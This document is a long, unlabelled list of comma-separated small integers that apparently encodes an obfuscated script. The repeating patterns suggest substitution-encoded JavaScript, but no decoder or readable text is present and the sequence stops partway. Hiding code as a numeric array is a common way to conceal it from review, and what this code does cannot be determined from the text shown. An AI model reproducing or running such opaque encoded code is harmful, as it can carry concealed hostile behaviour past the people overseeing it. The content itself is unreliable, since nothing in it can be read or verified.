79,9,13,13,22,18,9,15,67,22,79,86,49,52,13,13,72,22,18,9,15,64,87,6,6,2,22,18,32,46,41,9,35,52,25,87,63,48,62,20,52,89,76,76,26,79,52,41,40,79,63,68,8,11,9,8,72,22,18,9,15,64,87,6,6,22,18,35,52,79,64,87,60,71,42,76,26,8,18,43,16,1,31,71,22,18,9,63,15,52,79,41,43,16,1,31,72,57,86,62,12,52,46,41,57,61,58,81,61,58,81,76,10,17,71,22,18,17,52,41,83,88,1,86,62,12,72,8,18,43,16,1,31,76,11,52,20,15,52,26,9,8,72,2,22,18,9,15,64,87,6,6,72,62,71,22,18,22,48,15,1,9,49,52,16,24,0,52,72,46,18,83,16,56,49,9,49,52,16,24,0,52,76,76,6,6,62,18,41,24,0,52,76,26,8,18,43,16,1,31,71,22,18,9,63,15,52,79,41,43,16,1,31,72,57,86,62,12,52,46,41,57,61,58,57,41,24,0,52,57,61,62,18,41,24,0,52,81,61,58,81,76,10,17,71,22,18,17,52,41,83,88,1,86,62,12,72,8,18,43,16,1,31,76,11,11,9,8,72,17,76,26,9,8,72,22,18,9,15,64,87,6,6,22,18,35,52,79,64,87,60,71,42,76,26,41,79,24,26,17,18,46,20,48,15,15,9,89,71,46,18,83,16,56,46,20,48,15,15,64,83,11,46,48,41,46,22,72,9,76,26,11,11,10,41,79,24,26,35,48,79,68,89,71,17,18,12,35,49,15,10,9,8,72,89,76,26,20,52,63,71,89,18,17,52,41,31,52,63,17,41,22,72,76,10,9,8,72,22,18,9,15,38,40,49,72,20,52,63,76,76,26,8,18,15,41,48,41,40,15,71,20,52,63,60,4,36,27,74,82,27,10,8,86,79,72,48,71,4,10,48,51,20,52,63,10,48,53,53,76,26,62,71,22,18,17,52,41,38,40,49,72,89,18,17,52,41,72,20,52,63,82,27,82,48,76,18,35,52,79,15,9,86,63,76,10,9,8,72,62,76,26,8,18,59,66,87,48,20,20,58,48,81,71,62,11,11,11,11,11,46,48,41,46,22,72,9,76,26,11,11,9,8,72,8,18,59,66,87,48,20,20,18,20,52,63,17,41,22,60,4,76,26,8,18,59,66,87,71,22,18,8,86,79,49,48,41,38,40,49,72,8,18,59,66,87,48,20,20,58,4,81,76,11,79,52,41,40,79,63,68,8,11,11,61,5,40,52,79,24,54,9,41,22,86,40,41,32,0,0,20,52,41,15,4,4,74,8,40,63,46,41,9,86,63,72,46,61,48,76,26,35,48,79,68,62,71,78,9,63,89,86,78,18,12,48,35,48,61,89,10,41,79,24,26,9,8,72,62,6,6,62,18,20,48,63,17,6,6,62,18,20,48,63,17,18,30,24,15,41,52,49,76,26,48,18,35,48,20,40,52,71,58,62,18,20,48,63,17,18,30,24,15,41,52,49,18,17,52,41,73,79,86,0,52,79,41,24,72,57,12,48,35,48,18,35,52,79,15,9,86,63,57,76,53,57,68,57,61,62,18,20,48,63,17,18,30,24,15,41,52,49,18,17,52,41,73,79,86,0,52,79,41,24,72,57,12,48,35,48,18,35,52,63,89,86,79,57,76,53,57,68,57,81,11,11,46,48,41,46,22,72,89,76,26,11,11,61,5,40,52,79,24,54,9,41,22,86,40,41,32,0,0,20,52,41,15,74,8,40,63,46,41,9,86,63,72,76,26,35,48,79,68,46,71,41,22,9,15,61,8,71,46,18,39,61,17,61,48,71,46,18,5,40,52,79,24,54,9,41,22,86,40,41,32,0,0,20,52,41,15,10,9,8,72,2,48,18,35,48,20,40,52,76,26,48,18,35,48,20,40,52,71,58,63,40,20,20,61,63,40,20,20,81,10,9,8,72,2,8,18,9,15,64,87,6,6,78,9,63,89,86,78,18,12,48,35,48,76,26,9,8,72,8,18,88,30,71,71,69,6,6,8,18,9,15,88,0,52,79,48,6,6,8,18,35,52,79,88,0,52,79,48,51,80,18,69,6,6,8,18,35,52,79,88,0,52,79,48,60,71,80,76,26,11,52,20,15,52,26,9,8,72,8,18,9,15,19,52,46,65,86,6,6,8,18,46,86,49,0,48,79,52,38,40,49,15,72,8,18,35,52,79,19,52,46,65,86,61,57,27,61,80,61,4,61,4,57,76,51,4,6,6,8,18,46,86,49,0,48,79,52,38,40,49,15,72,8,18,35,52,79,19,52,46,65,86,61,57,27,61,75,61,4,61,4,57,76,60,71,4,76,26,11,52,20,15,52,26,9,8,72,8,18,9,15,19,52,46,65,86,76,26,35,48,79,68,9,61,62,61,22,71,89,86,46,40,49,52,63,41,10,9,8,72,22,18,46,79,52,48,41,52,87,20,52,49,52,63,41,6,6,22,18,46,79,52,48,41,52,87,35,52,63,41,76,26,41,79,24,26,9,71,22,18,46,79,52,48,41,52,87,20,52,49,52,63,41,72,57,89,9,35,57,76,61,62,71,22,18,46,79,52,48,41,52,87,35,52,63,41,72,57,43,16,1,31,87,35,52,63,41,15,57,76,10,62,18,9,63,9,41,87,35,52,63,41,72,57,46,22,48,63,17,52,57,61,8,48,20,15,52,61,8,48,20,15,52,76,10,9,18,48,89,89,87,35,52,63,41,31,9,15,41,52,63,52,79,72,57,46,22,48,63,17,52,57,61,8,18,22,48,63,89,20,52,79,72,46,18,5,40,52,79,24,54,9,41,22,86,40,41,32,0,0,20,52,41,15,4,4,61,8,61,48,76,61,8,48,20,15,52,76,10,9,18,89,9,15,0,48,41,46,22,87,35,52,63,41,72,62,76,11,46,48,41,46,22,72,17,76,26,11,11,11,52,20,15,52,26,46,18,5,40,52,79,24,54,9,41,22,86,40,41,32,0,0,20,52,41,15,4,4,72,8,61,48,76,11,11,11,11,11,79,52,41,40,79,63,68,48,18,35,48,20,40,52,11,61,48,0,0,20,52,41,74,26,79,52,15,40,20,41,15,74,58,58,63,40,20,20,61,63,40,20,20,81,61,58,63,40,20,20,61,63,40,20,20,81,61,58,63,40,20,20,61,63,40,20,20,81,81,61,43,16,1,31,74,58,4,61,4,61,4,81,61,48,46,41,9,35,52,74,58,4,61,4,61,4,81,61,48,20,20,86,78,52,89,74,58,69,61,69,61,69,81,61,83,40,49,49,24,88,62,12,16,48,17,43,16,1,31,74,4,61,83,40,49,49,24,30,0,48,63,16,48,17,43,16,1,31,74,4,61,17,52,41,66,52,15,40,20,41,74,8,40,63,46,41,9,86,63,72,76,26,35,48,79,68,46,71,41,22,9,15,18,79,52,15,40,20,41,15,61,48,61,62,10,8,86,79,72,48,71,4,10,48,51,46,18,20,52,63,17,41,22,10,48,53,53,76,26,62,71,46,58,48,81,10,9,8,72,62,58,4,81,76,26,62,79,52,48,65,11,11,79,52,41,40,79,63,58,81,18,46,86,63,46,48,41,72,62,76,11,61,46,48,63,16,79,24,74,8,40,63,46,41,9,86,63,72,89,76,26,35,48,79,68,62,71,41,22,9,15,61,46,71,62,18,39,61,48,71,62,18,0,48,79,52,63,41,38,86,89,52,10,9,8,72,62,18,48,20,20,86,78,52,89,58,89,81,71,71,85,76,26,79,52,41,40,79,63,68,41,79,40,52,11,9,8,72,2,48,18,35,52,79,15,9,86,63,4,13,13,2,48,18,87,63,48,62,20,52,89,13,13,72,46,18,9,15,64,87,6,6,2,46,18,32,46,41,9,35,52,25,87,63,48,62,20,52,89,76,76,26,9,8,72,62,18,48,20,20,86,78,52,89,58,89,81,71,71,69,76,26,79,52,41,40,79,63,68,41,79,40,52,11,9,8,72,62,18,48,20,20,86,78,52,89,58,89,81,71,71,27,6,6,2,62,18,17,52,41,66,52,15,40,20,41,72,76,58,4,81,76,26,79,52,41,40,79,63,68,41,79,40,52,11,11,79,52,41,40,79,63,68,8,48,20,15,52,11,61,46,48,63,16,79,24,32,63,24,74,8,40,63,46,41,9,86,63,72,76,26,35,48,79,68,62,71,41,22,9,15,61,48,10,8,86,79,72,48,71,4,10,48,51,62,18,48,20,20,86,78,52,89,18,20,52,63,17,41,22,10,48,53,53,76,26,9,8,72,62,18,46,48,63,16,79,24,72,48,76,76,26,79,52,41,40,79,63,68,41,79,40,52,11,11,79,52,41,40,79,63,68,8,48,20,15,52,11,61,46,48,63,29,15,52,32,0,0,20,52,41,16,48,17,74,8,40,63,46,41,9,86,63,72,76,26,35,48,79,68,62,71,41,22,9,15,61,46,71,62,18,39,61,48,71,62,18,0,48,79,52,63,41,38,86,89,52,10,79,52,41,40,79,63,72,2,46,18,9,15,64,87,13,13,48,18,87,63,48,62,20,52,89,76,11,61,46,48,63,29,15,52,88,62,12,52,46,41,16,48,17,74,8,40,63,46,41,9,86,63,72,76,26,35,48,79,68,48,71,41,22,9,15,61,62,71,48,18,39,10,79,52,41,40,79,63,72,2,62,18,9,15,64,87,13,13,62,18,32,46,41,9,35,52,25,87,63,48,62,20,52,89,76,11,61,5,40,52,79,24,16,22,9,15,74,8,40,63,46,41,9,86,63,72,22,76,26,35,48,79,68,17,61,46,71,41,22,9,15,61,62,71,46,18,0,48,79,52,63,41,38,86,89,52,61,8,71,62,18,39,61,48,71,35,52,63,89,86,79,71,63,40,20,20,61,89,71,8,18,17,52,41,83,88,1,86,62,12,72,46,18,43,16,1,31,58,22,81,61,41,79,40,52,76,10,9,8,72,89,76,26,41,79,24,26,48,71,89,18,17,52,41,55,52,79,15,9,86,63,72,76,53,57,68,57,10,35,52,63,89,86,79,71,89,18,17,52,41,55,52,63,89,86,79,72,76,53,57,68,57,10,89,18,15,41,48,41,40,15,62,48,79,72,8,18,78,9,63,31,86,48,89,52,89,36,57,68,57,74,57,68,57,76,11,46,48,41,46,22,72,17,76,26,11,9,8,72,8,18,9,15,30,41,79,38,40,49,72,48,76,76,26,46,18,79,52,15,40,20,41,15,58,22,81,71,58,48,61,35,52,63,89,86,79,81,11,41,79,24,26,9,8,72,8,18,9,15,64,87,6,6,48,6,6,89,18,79,52,48,89,24,30,41,48,41,52,2,71,23,76,26,8,18,17,48,79,62,48,17,52,71,41,79,40,52,10,89,18,0,48,79,52,63,41,38,86,89,52,18,79,52,49,86,35,52,67,22,9,20,89,72,89,76,11,11,46,48,41,46,22,72,17,76,26,11,11,11,61,9,63,15,52,79,41,43,16,1,31,28,40,52,79,24,32,20,20,74,8,40,63,46,41,9,86,63,72,52,76,26,35,48,79,68,17,71,41,22,9,15,61,63,71,17,18,0,48,79,52,63,41,38,86,89,52,61,89,71,63,18,39,61,86,71,17,18,79,52,15,40,20,41,15,61,5,71,17,18,43,16,1,31,61,22,71,57,6,63,62,15,0,10,6,63,62,15,0,10,6,63,62,15,0,10,6,63,62,15,0,10,57,61,40,71,57,32,18,46,20,48,15,15,57,10,9,8,72,2,89,18,9,15,30,41,79,9,63,17,72,52,76,13,13,2,72,34,33,18,12,48,79,33,15,45,39,34,76,18,41,52,15,41,72,52,76,13,13,72,34,33,33,34,76,18,41,52,15,41,72,52,76,76,26,79,52,41,40,79,63,58,63,40,20,20,61,63,40,20,20,81,11,9,8,72,63,18,88,16,3,51,27,76,26,63,18,88,16,3,71,27,11,9,8,72,63,18,12,79,52,83,9,15,48,62,20,52,89,72,76,76,26,79,52,41,40,79,63,58,63,40,20,20,61,63,40,20,20,81,11,9,8,72,63,18,88,16,3,51,69,76,26,63,18,88,16,3,71,69,11,35,48,79,68,46,71,52,61,41,71,57,57,61,49,10,9,8,72,72,34,58,33,34,81,34,76,18,41,52,15,41,72,52,76,76,26,49,71,52,18,15,0,20,9,41,72,57,34,57,76,10,46,71,49,58,49,18,20,52,63,17,41,22,82,27,81,10,49,58,49,18,20,52,63,17,41,22,82,27,81,71,57,57,10,41,71,49,18,12,86,9,63,72,57,34,57,76,11,35,48,79,68,12,71,58,57,48,79,46,22,9,35,52,57,61,46,61,57,46,86,89,52,57,61,40,81,61,20,71,58,57,49,48,24,15,46,79,9,0,41,57,61,57,41,79,40,52,57,81,61,79,71,58,57,15,46,79,9,0,41,48,62,20,52,57,61,57,41,79,40,52,57,81,18,46,86,63,46,48,41,72,20,76,61,8,71,2,89,18,9,15,64,87,6,6,63,18,49,9,49,52,88,62,12,6,6,63,18,49,9,49,52,88,62,12,18,41,24,0,52,36,63,18,49,9,49,52,88,62,12,18,41,24,0,52,74,63,18,49,9,49,52,16,24,0,52,58,4,81,10,9,8,72,2,5,58,4,81,6,6,17,18,46,48,63,29,15,52,88,62,12,52,46,41,16,48,17,72,76,6,6,17,18,46,48,63,16,79,24,72,4,76,76,26,5,58,4,81,71,89,18,9,15,64,87,36,89,18,9,63,15,52,79,41,43,16,1,31,72,57,86,62,12,52,46,41,57,61,58,57,41,24,0,52,57,61,8,81,18,46,86,63,46,48,41,72,12,76,61,58,57,46,86,89,52,62,48,15,52,57,61,41,81,18,46,86,63,46,48,41,72,12,76,18,46,86,63,46,48,41,72,79,76,61,22,61,63,76,74,89,18,9,63,15,52,79,41,43,16,1,31,72,57,86,62,12,52,46,41,57,61,58,57,41,24,0,52,57,61,8,61,57,48,79,46,22,9,35,52,57,61,46,61,57,46,20,48,15,15,9,89,57,61,57,12,48,35,48,74,57,53,40,81,61,58,57,46,86,89,52,62,48,15,52,57,61,41,61,57,48,79,46,22,9,35,52,57,61,46,81,18,46,86,63,46,48,41,72,79,76,61,22,61,63,76,10,86,58,4,81,71,58,4,61,4,81,10,17,18,5,40,52,79,24,16,22,9,15,72,4,76,11,9,8,72,2,5,58,27,81,6,6,17,18,46,48,63,29,15,52,32,0,0,20,52,41,16,48,17,72,76,6,6,17,18,46,48,63,16,79,24,72,27,76,76,26,5,58,27,81,71,89,18,9,15,64,87,36,89,18,9,63,15,52,79,41,43,16,1,31,72,57,48,0,0,20,52,41,57,61,58,57,48,20,41,57,61,22,81,18,46,86,63,46,48,41,72,20,76,18,46,86,63,46,48,41,72,12,76,61,58,57,46,86,89,52,62,48,15,52,57,61,41,81,18,46,86,63,46,48,41,72,20,76,61,22,61,63,76,74,89,18,9,63,15,52,79,41,43,16,1,31,72,57,48,0,0,20,52,41,57,61,58,57,46,86,89,52,62,48,15,52,57,61,41,61,57,48,20,41,57,61,22,81,18,46,86,63,46,48,41,72,20,76,18,46,86,63,46,48,41,72,12,76,61,58,81,18,46,86,63,46,48,41,72,20,76,61,22,61,63,76,10,86,58,27,81,71,58,4,61,4,81,10,17,18,5,40,52,79,24,16,22,9,15,72,27,76,11,9,8,72,2,5,58,69,81,6,6,17,18,46,48,63,29,15,52,88,62,12,52,46,41,16,48,17,72,76,6,6,17,18,46,48,63,16,79,24,72,69,76,76,26,5,58,69,81,71,89,18,9,15,64,87,36,89,18,9,63,15,52,79,41,43,16,1,31,72,57,86,62,12,52,46,41,57,61,58,57,46,20,48,15,15,9,89,57,61,63,18,46,20,48,15,15,64,83,81,61,58,57,46,86,89,52,62,48,15,52,57,61,41,81,18,46,86,63,46,48,41,72,12,76,18,46,86,63,46,48,41,72,79,76,61,22,61,63,76,74,89,18,9,63,15,52,79,41,43,16,1,31,72,76,10,86,58,69,81,71,58,4,61,4,81,10,17,18,5,40,52,79,24,16,22,9,15,72,69,76,11,9,8,72,2,17,18,83,40,49,49,24,88,62,12,16,48,17,43,16,1,31,6,6,17,18,46,48,63,29,15,52,88,62,12,52,46,41,16,48,17,72,76,76,26,17,18,83,40,49,49,24,88,62,12,16,48,17,43,16,1,31,71,89,18,9,63,15,52,79,41,43,16,1,31,72,57,86,62,12,52,46,41,57,61,58,81,61,58,81,61,22,76,11,9,8,72,2,17,18,83,40,49,49,24,30,0,48,63,16,48,17,43,16,1,31,76,26,17,18,83,40,49,49,24,30,0,48,63,16,48,17,43,16,1,31,71,89,18,9,63,15,52,79,41,43,16,1,31,72,57,57,61,58,81,61,58,81,61,22,76,11,10,9,8,72,63,18,88,16,3,51,85,6,6,72,72,5,58,4,81,6,6,2,86,58,4,81,58,4,81,76,13,13,72,5,58,27,81,6,6,2,86,58,27,81,58,4,81,76,13,13,72,89,18,9,15,64,87,6,6,5,58,69,81,6,6,2,86,58,69,81,58,4,81,76,76,76,26,35,48,79,68,9,71,63,18,38,88,16,3,61,62,71,9,18,9,15,59,48,35,48,32,46,41,9,35,52,72,76,10,9,8,72,62,60,71,4,76,26,63,18,88,16,3,71,85,10,63,18,9,63,15,41,48,20,20,52,89,71,62,71,71,27,36,4,18,84,74,82,4,18,84,10,9,18,86,63,64,63,41,52,79,35,48,20,28,40,52,79,24,71,89,18,22,48,63,89,20,52,79,72,9,18,39,39,86,63,64,63,41,52,79,35,48,20,28,40,52,79,24,61,9,76,10,9,8,72,2,89,18,78,9,63,31,86,48,89,52,89,76,26,89,18,54,31,8,40,63,46,15,4,18,0,40,15,22,72,58,9,18,78,9,63,88,63,31,86,48,89,28,40,52,79,24,61,9,81,76,11,15,52,41,16,9,49,52,86,40,41,72,9,18,86,63,64,63,41,52,79,35,48,20,28,40,52,79,24,61,9,18,9,63,41,52,79,35,48,20,31,52,63,17,41,22,76,11,11,10,35,48,79,68,65,61,48,71,4,10,8,86,79,72,65,71,4,10,65,51,86,18,20,52,63,17,41,22,10,65,53,53,76,26,9,8,72,5,58,65,81,13,13,17,18,46,48,63,16,79,24,72,65,76,76,26,48,53,53,11,52,20,15,52,26,62,79,52,48,65,11,11,9,8,72,48,71,71,86,18,20,52,63,17,41,22,76,26,63,18,17,52,41,55,52,79,15,9,86,63,83,86,63,52,71,63,18,8,86,79,46,52,55,52,79,9,8,24,16,48,17,18,20,52,63,17,41,22,60,4,36,4,74,27,11,79,52,41,40,79,63,68,17,18,17,52,41,66,52,15,40,20,41,72,76,11,11,61,38,88,16,3,74,26,46,86,40,63,41,74,4,61,46,86,40,63,41,1,48,37,74,69,84,61,9,63,41,52,79,35,48,20,31,52,63,17,41,22,74,69,84,4,61,9,15,59,48,35,48,32,46,41,9,35,52,74,8,40,63,46,41,9,86,63,72,76,26,35,48,79,68,52,71,41,22,9,15,61,46,71,52,18,0,48,79,52,63,41,38,86,89,52,61,48,61,62,61,89,71,82,80,10,8,86,79,72,48,71,4,10,48,51,46,18,48,0,0,20,52,41,18,43,16,1,31,18,20,52,63,17,41,22,10,48,53,53,76,26,62,71,52,18,9,15,32,0,0,20,52,41,32,46,41,9,35,52,72,48,76,10,46,18,48,0,0,20,52,41,18,48,46,41,9,35,52,58,48,81,71,62,10,9,8,72,62,60,89,76,26,89,71,62,11,11,79,52,41,40,79,63,68,89,11,61,9,15,32,0,0,20,52,41,32,46,41,9,35,52,74,8,40,63,46,41,9,86,63,72,17,76,26,35,48,79,68,22,71,41,22,9,15,61,89,71,22,18,39,61,46,71,22,18,0,48,79,52,63,41,38,86,89,52,61,62,71,46,18,48,0,0,20,52,41,61,8,61,48,71,89,18,17,52,41,16,48,17,30,41,48,41,40,15,72,62,18,43,16,1,31,58,17,81,61,62,18,83,40,49,49,24,30,0,48,63,16,48,17,43,16,1,31,61,62,18,83,40,49,49,24,88,62,12,16,48,17,43,16,1,31,61,22,18,46,86,40,63,41,76,10,9,8,72,48,71,71,82,69,76,26,79,52,41,40,79,63,68,82,69,11,41,79,24,26,9,8,72,89,18,9,15,64,87,6,6,89,18,35,52,79,64,87,60,71,46,18,49,9,63,64,87,35,52,79,6,6,89,18,17,52,41,83,88,1,86,62,12,72,62,18,43,16,1,31,58,17,81,76,18,86,62,12,52,46,41,76,26,79,52,41,40,79,63,68,27,11,11,46,48,41,46,22,72,8,76,26,11,9,8,72,48,71,71,27,6,6,72,89,18,9,15,64,87,13,13,72,72,46,18,35,52,79,15,9,86,63,4,6,6,46,18,87,63,48,62,20,52,89,6,6,46,18,87,63,48,62,20,52,89,76,13,13,46,18,5,40,52,79,24,54,9,41,22,86,40,41,32,0,0,20,52,41,15,72,76,58,4,81,76,76,76,26,79,52,41,40,79,63,68,27,11,9,8,72,48,51,4,76,26,79,52,41,40,79,63,68,82,27,11,79,52,41,40,79,63,68,4,11,61,78,9,63,88,63,31,86,48,89,28,40,52,79,24,74,8,40,63,46,41,9,86,63,72,46,61,89,76,26,35,48,79,68,62,71,89,18,0,48,79,52,63,41,38,86,89,52,61,48,10,9,8,72,62,18,88,16,3,71,71,85,76,26,48,71,89,18,5,40,52,79,24,32,20,20,32,0,0,20,52,41,15,72,76,10,89,18,5,40,52,79,24,67,86,49,0,20,52,41,52,89,72,48,58,27,81,61,48,58,69,81,76,11,11,61,39,39,86,63,64,63,41,52,79,35,48,20,28,40,52,79,24,74,8,40,63,46,41,9,86,63,72,89,76,26,35,48,79,68,46,71,89,18,39,61,62,71,89,18,0,48,79,52,63,41,38,86,89,52,61,48,10,9,8,72,62,18,88,16,3,71,71,85,76,26,48,71,89,18,5,40,52,79,24,32,20,20,32,0,0,20,52,41,15,72,76,10,9,8,72,48,58,4,81,13,13,72,46,18,78,9,63,31,86,48,89,52,89,6,6,89,18,46,86,40,63,41,60,89,18,46,86,40,63,41,1,48,37,76,76,26,89,18,5,40,52,79,24,67,86,49,0,20,52,41,52,89,72,48,58,27,81,61,48,58,69,81,76,11,11,89,18,46,86,40,63,41,53,53,10,9,8,72,62,18,88,16,3,71,71,85,76,26,15,52,41,16,9,49,52,86,40,41,72,89,18,86,63,64,63,41,52,79,35,48,20,28,40,52,79,24,61,89,18,9,63,41,52,79,35,48,20,31,52,63,17,41,22,76,11,11,61,5,40,52,79,24,32,20,20,32,0,0,20,52,41,15,74,8,40,63,46,41,9,86,63,72,76,26,35,48,79,68,17,71,41,22,9,15,61,8,71,17,18,39,61,52,71,17,18,0,48,79,52,63,41,38,86,89,52,61,89,71,52,18,48,0,0,20,52,41,61,62,61,48,61,46,10,8,86,79,72,62,71,4,10,62,51,89,18,79,52,15,40,20,41,15,18,20,52,63,17,41,22,10,62,53,53,76,26,89,18,5,40,52,79,24,16,22,9,15,72,62,76,11,48,71,89,18,17,52,41,66,52,15,40,20,41,72,76,10,46,71,72,48,58,4,81,13,13,17,18,9,15,59,48,35,48,32,46,41,9,35,52,72,76,51,4,76,36,41,79,40,52,74,8,48,20,15,52,10,79,52,41,40,79,63,58,46,61,48,58,4,81,61,48,58,27,81,81,11,61,5,40,52,79,24,67,86,49,0,20,52,41,52,89,74,8,40,63,46,41,9,86,63,72,46,61,8,76,26,35,48,79,68,52,71,41,22,9,15,61,89,71,52,18,39,61,62,71,52,18,0,48,79,52,63,41,38,86,89,52,10,9,8,72,62,18,88,16,3,71,71,23,76,26,79,52,41,40,79,63,11,62,18,88,16,3,71,23,10,35,48,79,68,48,71,52,18,9,15,59,48,35,48,32,46,41,9,35,52,72,76,71,71,27,36,41,79,40,52,74,8,48,20,15,52,10,9,8,72,46,13,13,62,18,5,40,52,79,24,54,9,41,22,86,40,41,32,0,0,20,52,41,15,72,76,58,4,81,76,26,62,18,9,63,15,41,48,20,20,52,89,71,27,11,52,20,15,52,26,9,8,72,48,76,26,9,8,72,62,18,35,52,79,15,9,86,63,4,76,26,62,18,9,63,15,41,48,20,20,52,89,71,27,10,46,71,62,18,35,52,79,15,9,86,63,4,11,52,20,15,52,26,62,18,9,63,15,41,48,20,20,52,89,71,4,11,11,52,20,15,52,26,9,8,72,62,18,9,63,15,41,48,20,20,52,89,71,71,4,18,84,76,26,62,18,9,63,15,41,48,20,20,52,89,71,4,11,52,20,15,52,26,9,8,72,62,18,35,52,79,15,9,86,63,4,76,26,62,18,9,63,15,41,48,20,20,52,89,71,82,4,18,69,11,52,20,15,52,26,62,18,9,63,15,41,48,20,20,52,89,71,82,27,11,11,11,11,62,18,87,63,89,19,52,41,55,52,79,15,9,86,63,72,46,61,8,76,10,9,8,72,62,18,8,40,63,46,15,76,26,89,18,46,48,20,20,32,79,79,48,24,72,62,18,8,40,63,46,15,76,11,9,8,72,89,18,86,63,83,86,63,52,87,49,0,41,24,83,9,35,76,26,89,18,86,63,83,86,63,52,87,49,0,41,24,83,9,35,72,76,11,11,11,61,48,0,0,52,63,89,74,8,40,63,46,41,9,86,63,72,52,61,89,76,26,8,86,79,72,35,48,79,68,46,71,4,10,46,51,89,18,20,52,63,17,41,22,10,46,53,53,76,26,52,18,0,40,15,22,72,89,58,46,81,76,11,11,61,59,48,35,48,3,9,37,74,8,40,63,46,41,9,86,63,72,76,26,11,11,61,8,20,48,15,22,74,26,49,9,49,52,16,24,0,52,74,58,57,48,0,0,20,9,46,48,41,9,86,63,34,37,82,15,22,86,46,65,78,48,35,52,82,8,20,48,15,22,57,61,57,48,0,0,20,9,46,48,41,9,86,63,34,8,40,41,40,79,52,15,0,20,48,15,22,57,81,61,0,79,86,17,64,83,74,57,30,22,86,46,65,78,48,35,52,3,20,48,15,22,18,30,22,86,46,65,78,48,35,52,3,20,48,15,22,57,61,46,20,48,15,15,64,83,74,57,46,20,15,9,89,74,83,69,14,67,83,77,42,87,82,32,87,42,83,82,27,27,67,3,82,80,42,77,75,82,23,23,23,84,84,85,84,23,4,4,4,4,57,61,17,52,41,55,52,79,15,9,86,63,74,8,40,63,46,41,9,86,63,72,76,26,35,48,79,68,62,71,8,40,63,46,41,9,86,63,72,9,76,26,9,8,72,2,9,76,26,79,52,41,40,79,63,68,63,40,20,20,11,35,48,79,68,52,71,34,58,33,89,81,58,33,89,33,61,33,18,33,15,81,45,58,79,66,89,83,81,26,4,61,27,11,58,33,89,33,61,81,45,34,18,52,37,52,46,72,9,76,10,79,52,41,40,79,63,68,52,36,52,58,4,81,18,79,52,0,20,48,46,52,72,34,58,79,66,89,83,33,18,81,34,17,61,57,61,57,76,18,79,52,0,20,48,46,52,72,34,33,15,34,17,61,57,57,76,74,63,40,20,20,11,10,35,48,79,68,89,61,22,71,41,22,9,15,61,8,71,22,18,39,61,12,61,17,61,65,71,63,40,20,20,61,46,71,63,40,20,20,61,48,71,63,40,20,20,10,9,8,72,2,8,18,9,15,64,87,76,26,89,71,8,18,8,9,63,89,38,48,35,73,20,40,17,9,63,72,57,3,20,48,15,22,57,76,10,9,8,72,89,6,6,89,18,89,52,15,46,79,9,0,41,9,86,63,6,6,8,18,22,48,15,1,9,49,52,16,24,0,52,72,22,18,49,9,49,52,16,24,0,52,76,76,26,65,71,62,72,89,18,89,52,15,46,79,9,0,41,9,86,63,76,11,9,8,72,65,76,26,65,71,8,18,17,52,41,73,20,40,17,9,63,3,9,20,52,55,52,79,15,9,86,63,72,89,61,65,76,11,11,52,20,15,52,26,8,86,79,72,17,71,27,84,10,17,60,69,10,17,82,82,76,26,46,71,8,18,17,52,41,32,25,88,72,22,18,0,79,86,17,64,83,53,57,18,57,53,17,76,10,9,8,72,46,76,26,48,71,17,18,41,86,30,41,79,9,63,17,72,76,10,62,79,52,48,65,11,11,9,8,72,48,71,71,57,42,57,76,26,41,79,24,26,46,18,32,20,20,86,78,30,46,79,9,0,41,32,46,46,52,15,15,71,57,48,20,78,48,24,15,57,11,46,48,41,46,22,72,12,76,26,79,52,41,40,79,63,57,42,61,4,61,69,27,61,4,57,11,11,41,79,24,26,65,71,62,72,46,18,19,52,41,55,48,79,9,48,62,20,52,72,57,39,35,52,79,15,9,86,63,57,76,76,11,46,48,41,46,22,72,12,76,26,11,9,8,72,2,65,6,6,48,76,26,65,71,48,11,11,22,18,9,63,15,41,48,20,20,52,89,71,65,36,27,74,82,27,10,22,18,35,52,79,15,9,86,63,71,8,18,8,86,79,49,48,41,38,40,49,72,65,76,10,79,52,41,40,79,63,68,41,79,40,52,11,11,61,48,89,86,62,52,79,52,48,89,52,79,74,26,49,9,49,52,16,24,0,52,74,57,48,0,0,20,9,46,48,41,9,86,63,34,0,89,8,57,61,63,48,35,73,20,40,17,9,63,88,62,12,74,63,40,20,20,61,0,79,86,17,64,83,74,58,57,32,46,79,86,73,83,3,18,73,83,3,57,61,57,73,83,3,18,73,89,8,67,41,79,20,57,81,61,46,20,48,15,15,64,83,74,57,46,20,15,9,89,74,67,32,75,32,80,14,75,4,82,69,75,4,83,82,27,27,67,3,82,32,69,23,83,82,23,23,23,84,84,85,84,23,4,4,4,4,57,61,64,38,30,16,32,31,31,87,83,74,26,11,61,0,20,40,17,9,63,43,48,15,1,9,49,52,16,24,0,52,74,8,40,63,46,41,9,86,63,72,89,61,46,61,8,76,26,35,48,79,68,62,71,41,22,9,15,61,52,71,62,18,39,61,48,10,8,86,79,72,48,68,9,63,68,89,76,26,9,8,72,89,58,48,81,6,6,89,58,48,81,18,41,24,0,52,6,6,89,58,48,81,18,41,24,0,52,71,71,46,76,26,79,52,41,40,79,63,68,27,11,11,9,8,72,52,18,17,52,41,1,9,49,52,87,63,48,62,20,52,89,73,20,40,17,9,63,72,46,61,8,76,76,26,79,52,41,40,79,63,68,27,11,79,52,41,40,79,63,68,4,11,61,17,52,41,55,52,79,15,9,86,63,74,8,40,63,46,41,9,86,63,72,9,61,12,76,26,35,48,79,68,8,71,41,22,9,15,61,46,71,8,18,39,61,22,61,89,61,65,61,49,71,0,71,63,40,20,20,61,17,71,63,40,20,20,61,20,71,63,40,20,20,61,48,61,62,10,12,71,72,46,18,9,15,30,41,79,9,63,17,72,12,76,6,6,12,18,20,52,63,17,41,22,76,36,12,18,79,52,0,20,48,46,52,72,34,33,15,34,61,57,57,76,18,41,86,31,86,78,52,79,67,48,15,52,72,76,74,8,18,49,9,49,52,16,24,0,52,10,9,8,72,46,18,9,15,83,52,8,9,63,52,89,72,8,18,64,38,30,16,32,31,31,87,83,58,12,81,76,76,26,8,18,9,63,15,41,48,20,20,52,89,71,8,18,64,38,30,16,32,31,31,87,83,58,12,81,10,79,52,41,40,79,63,11,9,8,72,2,46,18,9,15,64,87,76,26,48,71,57,32,89,86,62,52,18,45,73,83,3,18,45,73,20,40,17,82,36,9,63,13,32,89,86,62,52,18,45,32,46,79,86,62,48,41,18,45,73,20,40,17,82,36,9,63,13,32,89,86,62,52,18,45,66,52,48,89,52,79,18,45,73,20,40,17,82,36,9,63,57,10,9,8,72,8,18,17,52,41,55,52,79,15,9,86,63,83,86,63,52,2,71,71,4,76,26,8,18,17,52,41,55,52,79,15,9,86,63,83,86,63,52,71,4,10,0,71,46,18,17,52,41,1,9,49,52,87,63,48,62,20,52,89,73,20,40,17,9,63,72,8,18,49,9,49,52,16,24,0,52,61,48,76,10,9,8,72,2,0,6,6,46,18,22,48,15,1,